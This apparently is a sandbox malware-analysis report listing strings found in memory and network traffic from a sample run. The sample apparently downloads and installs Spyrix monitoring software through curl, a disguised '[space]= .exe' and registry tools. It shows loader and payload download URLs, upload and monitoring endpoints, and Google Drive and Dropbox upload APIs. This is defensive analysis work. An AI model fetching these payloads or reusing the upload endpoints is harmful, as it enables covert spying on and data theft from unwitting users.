Source: curl.exe, 00000005.00000002.1700541419.000001295C1A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404k
Source: curl.exe, 00000005.00000002.1700541419.000001295C1A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404l=
Source: curl.exe, 00000005.00000003.1699852631.000001295C21F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.1699926974.000001295C1C3000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.1700101956.000001295C21F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.1700234054.000001295C21F000.00000004.00000020.00020000.00000000.sdmp, [space]= .exe, 00000006.00000002.1984705669.0000000002DAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/rtyRe243ohygdfrEewd234/
Source: [space]= .exe, 00000006.00000002.1984705669.0000000002DAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/rtyRe243ohygdfrEewd234/s108
Source: svchost.exe, 00000007.00000003.1705313181.000002BE174F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 00000007.00000003.1705313181.000002BE1752F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000007.00000003.1705313181.000002BE174F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 00000007.00000003.1705313181.000002BE174D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000007.00000003.1705313181.000002BE174F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000007.00000003.1705313181.000002BE174F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 00000007.00000003.1705313181.000002BE174A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: curl.exe, 00000005.00000003.1699852631.000001295C21F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.1699926974.000001295C1C3000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.1700101956.000001295C21F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.1700234054.000001295C21F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://securcdn.com/loader/link.php?prg_id=sfkupowershell.exe
Source: [space]= .exe, 00000012.00000003.2049227259.0000000002440000.00000004.00001000.00020000.00000000.sdmp, [space]= .exe, 00000012.00000003.2583732673.000000000226E000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2562658084.0000000003240000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2052440387.00000000031C0000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2562658084.00000000032C7000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2574644811.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.app/manual/kaspersky-loader/step1
Source: [space]= .exe, 00000012.00000003.2049227259.0000000002440000.00000004.00001000.00020000.00000000.sdmp, [space]= .exe, 00000012.00000003.2583732673.000000000226E000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2562658084.0000000003240000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2052440387.00000000031C0000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2562658084.00000000032C7000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2574644811.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.app/manual/kaspersky-loader/step18
Source: [space]= .tmp, 00000013.00000003.2574644811.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.app/manual/kaspersky-loader/step2
Source: spkl.exe, spkl.exe, 00000035.00000002.2980946676.0000000006C57000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/Uwas771wvshs7916gjqg62417/core.php
Source: spkl.exe, 00000035.00000003.2740720036.0000000001717000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/das
Source: [space]= .tmp, 00000013.00000003.2574644811.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/av
Source: qrl.exe, qrl.exe, 00000045.00000002.2766389640.0000000001790000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000045.00000002.2767714695.0000000001C5C000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000045.00000002.2767395081.0000000001C50000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000045.00000003.2745075392.0000000001C5A000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000047.00000003.2728540283.000000000145A000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000047.00000002.2764912066.000000000145C000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000047.00000002.2757133303.0000000001450000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000047.00000002.2745068935.0000000000C00000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004A.00000002.2768330875.0000000001550000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004A.00000002.2768430811.000000000155C000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004A.00000002.2768473168.00000000015D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actions
Source: qrl.exe, 00000043.00000002.2715156517.00000000017E0000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000043.00000002.2715484537.0000000001C60000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000043.00000002.2715104232.00000000016B0000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000045.00000002.2766389640.0000000001790000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000045.00000002.2745815664.0000000000CF0000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000047.00000002.2743891212.0000000000A10000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000047.00000002.2745068935.0000000000C00000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004A.00000002.2768473168.00000000015D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsC:
Source: qrl.exe, 0000004A.00000002.2768473168.00000000015D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsJ
Source: qrl.exe, 00000047.00000002.2757133303.0000000001450000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionse
Source: qrl.exe, 00000047.00000002.2757133303.0000000001450000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsers
Source: qrl.exe, 00000043.00000003.2708573105.0000000001C6B000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000043.00000002.2715615199.0000000001C6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsll
Source: qrl.exe, 00000043.00000002.2715484537.0000000001C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsoad.spy
Source: qrl.exe, 00000045.00000002.2767395081.0000000001C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsrDao
Source: qrl.exe, 0000004A.00000002.2768330875.0000000001550000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsriverDa
Source: qrl.exe, 00000045.00000002.2767395081.0000000001C50000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004A.00000002.2768330875.0000000001550000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionstps://s
Source: qrl.exe, 00000047.00000003.2728540283.000000000145A000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000047.00000002.2764912066.000000000145C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsuu
Source: qrl.exe, 0000004A.00000002.2768430811.000000000155C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsuu/
Source: qrl.exe, 00000045.00000002.2767714695.0000000001C5C000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000045.00000003.2745075392.0000000001C5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsuu7
Source: spkl.exe, 00000035.00000003.2871385145.0000000001925000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2958710472.0000000001910000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsv
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/proxy/upload
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/rand.zip
Source: spkl.exe, spkl.exe, 00000035.00000002.2971872040.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/usr/monitor/
Source: [space]= .tmp, 00000013.00000003.2562658084.0000000003303000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/usr/monitor/access.txt
Source: [space]= .tmp, 00000013.00000003.2574644811.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/usr/monitor/iorder.php?comp_id=
Source: spkl.exe, spkl.exe, 00000035.00000002.2971872040.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/usr/monitor/iupload.php
Source: [space]= .tmp, 00000013.00000002.2581949502.0000000005460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spy
Source: WMIC.exe, 00000017.00000002.2085761747.000000000311C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-
Source: [space]= .tmp, 00000013.00000002.2581949502.0000000005460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/down
Source: [space]= .tmp, 00000013.00000002.2580954136.0000000002320000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000017.00000002.2085761747.0000000003151000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk
Source: spmm.exe, 00000049.00000002.2923596949.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_set
Source: curl.exe, 0000000D.00000002.2046191187.0000000002ED9000.00000004.00000020.00020000.00000000.sdmp, [space]= .exe, 00000012.00000002.2586374325.0000000000648000.00000004.00000020.00020000.00000000.sdmp, [space]= .exe, 00000012.00000002.2586638070.0000000000A10000.00000004.00000020.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000002.2580954136.0000000002320000.00000004.00000020.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000002.2578906847.0000000000708000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000017.00000002.2085634026.0000000002F70000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000017.00000002.2085761747.000000000311C000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000017.00000002.2085761747.0000000003110000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000001B.00000003.2103285428.000000000348E000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000001B.00000003.2103164321.000000000348A000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000001B.00000002.2103797195.0000000003680000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000001B.00000003.2103090156.000000000346F000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000001B.00000002.2103625685.000000000348E000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000001B.00000003.2103190131.000000000348D000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000001B.00000002.2103523638.0000000003468000.00000004.00000020.00020000.00000000.sdmp, reg.exe, 0000001E.00000002.2105431680.000001FF662F9000.00000004.00000020.00020000.00000000.sdmp, reg.exe, 0000001E.00000002.2105518021.000001FF665A0000.00000004.00000020.00020000.00000000.sdmp, reg.exe, 0000002C.00000002.2299657776.0000012BE9AE0000.00000004.00000020.00020000.00000000.sdmp, reg.exe, 0000002C.00000002.2299431092.0000012BE97F7000.00000004.00000020.00020000.00000000.sdmp, regedit.exe, 00000032.00000002.2534356479.0000000003770000.00000004.00000020.00020000.00000000.sdmp, regedit.exe, 00000032.00000002.2534261099.00000000034D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe
Source: [space]= .tmp, 00000013.00000002.2578906847.0000000000708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe.
Source: wscript.exe, 00000036.00000002.2553718613.0000000003448000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe4
Source: [space]= .tmp, 00000013.00000002.2578906847.0000000000708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe7
Source: curl.exe, 0000000D.00000002.2046191187.0000000002ED9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeF
Source: timeout.exe, 0000003D.00000002.2614824930.0000000002E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeLOCALAPPD
Source: qrl.exe, 0000004A.00000002.2768473168.00000000015D0000.00000004.00000020.00020000.00000000.sdmp, find.exe, 00000053.00000002.2775496566.0000000000570000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeLOCALAPPDATA=C:
Source: [space]= .tmp, 00000013.00000002.2581949502.0000000005460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeLOCALAPPDL
Source: curl.exe, 0000000D.00000003.2045914501.0000000002EED000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.2046256312.0000000002F06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeQ
Source: reg.exe, 0000001E.00000002.2105431680.000001FF662F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeR
Source: curl.exe, 0000000D.00000002.2046191187.0000000002ED0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.2046124324.0000000000D70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeWinsta0
Source: qrl.exe, 00000045.00000002.2766389640.0000000001798000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeY.
Source: curl.exe, 0000000D.00000002.2046191187.0000000002ED0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.2046124324.0000000000D70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.execurl.exe
Source: curl.exe, 0000000D.00000003.2045914501.0000000002EED000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.2046256312.0000000002F06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeg
Source: tasklist.exe, 00000056.00000003.2782882591.000000000318F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exekn
Source: [space]= .tmp, 00000013.00000002.2578906847.0000000000708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exem(ac
Source: qrl.exe, 00000043.00000002.2715156517.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exen
Source: regedit.exe, 00000032.00000002.2534356479.0000000003770000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfkf
Source: regedit.exe, 00000032.00000002.2534356479.0000000003770000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfkff
Source: spkl.exe, 00000035.00000002.2961326350.00000000033B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfko
Source: [space]= .tmp, 00000013.00000003.2564952480.00000000033C8000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2052440387.00000000032E1000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.certum.pl/CPS0
Source: [space]= .tmp, 00000013.00000003.2564952480.00000000033C8000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2052440387.00000000032E1000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.certum.pl/repository.0
Source: spkl.exe	String found in binary or memory: https://www.dropbox.com/1/oauth/authorize?oauth_token=
Source: spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/1/oauth/authorize?oauth_token=open
Source: curl.exe, 0000000D.00000003.2045914501.0000000002EED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/drive
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/userinfo.email
Source: spkl.exe	String found in binary or memory: https://www.googleapis.com/auth/userinfo.prof
Source: spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/userinfo.profile
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/drive/v2/about
Source: spkl.exe	String found in binary or memory: https://www.googleapis.com/drive/v2/files
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/drive/v2/files/
Source: spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/drive/v2/files/U
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/drive/v2/files?maxResults=1000&q=
Source: spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/drive/v2/filesU
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/upload/drive/v2/files/
Source: spkl.exe	String found in binary or memory: https://www.googleapis.com/upload/drive/v2/files?uploadType=resumable
Source: spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/upload/drive/v2/files?uploadType=resumableSV
Source: spkl.exe, 00000035.00000002.2933829318.0000000000915000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000002.2971872040.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000003.2555270269.00000000044CC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.spyrix.com
Source: spkl.exe, 00000035.00000002.2933829318.0000000000915000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000002.2971872040.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000003.2555270269.00000000044CC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.spyrix.com/purchase.php?prg=sfk
Source: spkl.exe, 00000035.00000002.2980946676.0000000006C28000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.spyrix.come

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
